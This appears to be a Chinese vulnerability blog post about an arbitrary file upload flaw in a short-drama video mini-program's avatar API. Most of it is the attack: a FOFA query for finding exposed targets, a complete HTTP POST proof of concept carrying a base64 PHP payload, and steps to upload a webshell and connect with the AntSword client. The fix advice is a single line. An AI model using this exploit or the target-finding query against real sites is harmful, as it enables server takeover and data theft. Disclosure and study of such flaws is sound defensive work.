短剧影视小程序前台 任意文件上传

0x01 漏洞描述:

位于 /api/controller/User.php 控制器中的 avatar 方法 通过input()函数POST传入base64参数,然后进入了base64_image_content 方法,直接将解码后的文件通过File_put_contents() 函数写入到 /uploads/时间/rand(10000, 99999).php 中导致任意文件上传。

 

0x02 搜索语句:

Fofa:"/VwmRIfEYDH.php"

0x03 漏洞复现:

该漏洞需要授权才可进行任意文件上传,因此需访问目标站点进行注册

访问进行注册登录

/index/user

使用登录后的权限即可实现任意文件上传

poc如下

POST /api/user/avatar HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Host: your-ip
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=tfccov3bb6bsnpmti9qu56aikb;token=7c8ffe0d-6374-4417-aa99-9710a5dbd463
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

base64=data:image/php;base64,YTw/cGhwIHBocGluZm8oKTs/Pg==

拼接上传路径访问

http://your-ip/uploads/2024xxxxx/xxxxx.php

shell进行base64后上传

蚁剑连接

0x04 修复建议:

限制上传文件后缀为可控静态数据

  • 10
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
短剧cps小程序源码是一种基于微信小程序开发的源代码,用于构建短剧cps小程序平台。短剧cps小程序平台主要是为了满足用户对于短剧资源的需求,并通过CPS(Cost Per Sale)的方式让广告主能够按实际效果支付费用。 源码中包含了小程序的前端和后端代码,前端代码使用了基于微信小程序的开发框架,通过调用微信小程序提供的API来实现用户界面的搭建、交互功能的实现。后端代码使用了类似于Web开发的技术,通过使用服务器端的编程语言和数据库来处理小程序的业务逻辑和数据。 在短剧cps小程序源码中,通常会包含以下功能: 1. 用户注册与登录:用户可以通过小程序进行注册和登录,以便于记录个人信息和享受个性化服务。 2. 短剧资源展示:小程序会呈现各种各样的短剧资源,包括影视短剧、动漫短剧等。用户可以在小程序中浏览和搜索这些资源,并可以根据自己的喜好进行收藏和评论。 3. 广告推广:短剧cps小程序通过CPS方式与广告主合作,将广告主的广告内容展示给用户,并根据用户对广告的点击和转化情况进行费用结算。 4. 用户收益结算:当用户通过小程序观看短剧后,如果购买了广告主的产品或服务,用户可以获得一定的收益,小程序会根据用户的推广效果进行收益结算,通过微信支付等方式将收益发放给用户。 总之,短剧cps小程序源码是为了满足用户对短剧资源的需求,并通过CPS方式实现广告主与用户的有效连接的一种开发源代码。源码中包含了前端和后端代码,以及各种功能模块的实现,帮助开发者快速构建短剧cps小程序平台。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值